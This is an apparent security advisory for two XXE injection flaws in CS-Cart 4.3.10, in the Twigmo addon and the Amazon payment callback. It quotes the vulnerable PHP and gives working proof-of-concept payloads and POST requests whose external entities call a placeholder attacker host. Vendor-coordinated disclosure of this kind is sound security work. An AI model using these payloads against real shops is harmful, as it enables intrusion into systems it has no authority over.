CS-Cart 4.3.10 - XML External Entity Injection

# Software : CS-Cart <= 4.3.10
# Vendor home : cs-cart.com
# Author : Ahmed Sultan (@0x4148)
# Home : 0x4148.com
# Email : [email protected]
# Tested on : apache on windoes with php 5.4.4 / apache on linux with php <5.2.17

From vendor site
CS-Cart is an impressive platform for users to any level of eCommerce
experience.
With loads of features at a great price, CS-Cart is a great shopping cart
solution that will quickly enable your online store to do business.

XXE I : Twimgo addon
app/addons/twigmo/Twigmo/Api/ApiData.php
Line 131
public static function parseDocument($data, $format =
TWG_DEFAULT_DATA_FORMAT)
{
if ($format == 'xml') {
$result = @simplexml_load_string($data, 'SimpleXMLElement',
LIBXML_NOCDATA);
return self::getObjectAsArray($result);
} elseif ($format == 'jsonp') {
return (array) json_decode($data, true);
} elseif ($format == 'json') {
return (array) json_decode($data, true);
}

return false;
}
POC
<?php
$xml="
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM 'http://YOUR_HOST/0x4148.jnk' >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>&xxe;</killit>
</document>
";
echo rawurlencode(base64_encode($xml));
?>

change YOUR_HOST to your server address , use the output in the following
POST request
Action -> HOST/cs-cart/index.php?dispatch=twigmo.post
Data -> action=add_to_cart&data=DATA_OUT_PUT_HERE&format=xml
a GET request will be sent to your webserver from the vulnerable host
indicating successful attack
(Require twimgo addon to be activated)

XXE II : Amazon payment
File : app/payments/amazon/amazon_callback.php
Line 16
use Tygh\Registry;

if (!defined('BOOTSTRAP')) { die('Access denied'); }

include_once (Registry::get('config.dir.payments') .
'amazon/amazon_func.php');

fn_define('AMAZON_ORDER_DATA', 'Z');

if (!empty($_POST['order-calculations-request'])) {
$xml_response = $_POST['order-calculations-request'];

} elseif (!empty($_POST['NotificationData'])) {
$xml_response = $_POST['NotificationData'];
}

if (!empty($_POST['order-calculations-error'])) {
// Process the Amazon callback error
$xml_error = $_POST['order-calculations-error'];
$xml = @simplexml_load_string($xml_error);
if (empty($xml)) {
$xml = @simplexml_load_string(stripslashes($xml_error));
}

// Get error message
$code = (string) $xml->OrderCalculationsErrorCode;
$message = (string) $xml->OrderCalculationsErrorMessage;

POC
sending POST request to
app/payments/amazon/amazon_checkout.php
setting POST parameter order-calculations-request to
<?xml version='1.0'?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://host/amazon.jnk" >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>%26xxe%3b</killit>
</document>

Will result in an GET request to your host from the vulnerable machine ,
indicating successful attack
(Require amazon payment method to be activated)


Disclosure time line
10/11 vulnerabilities reported to the vendor
11/11 Vendor asked for extra details
12/11 Vendor acknowledged the validity of vulnerabilities and asked for
time to fix
16/11 vendor permitted public release

Reference
https://0x4148.com/2016/11/10/cs-cart/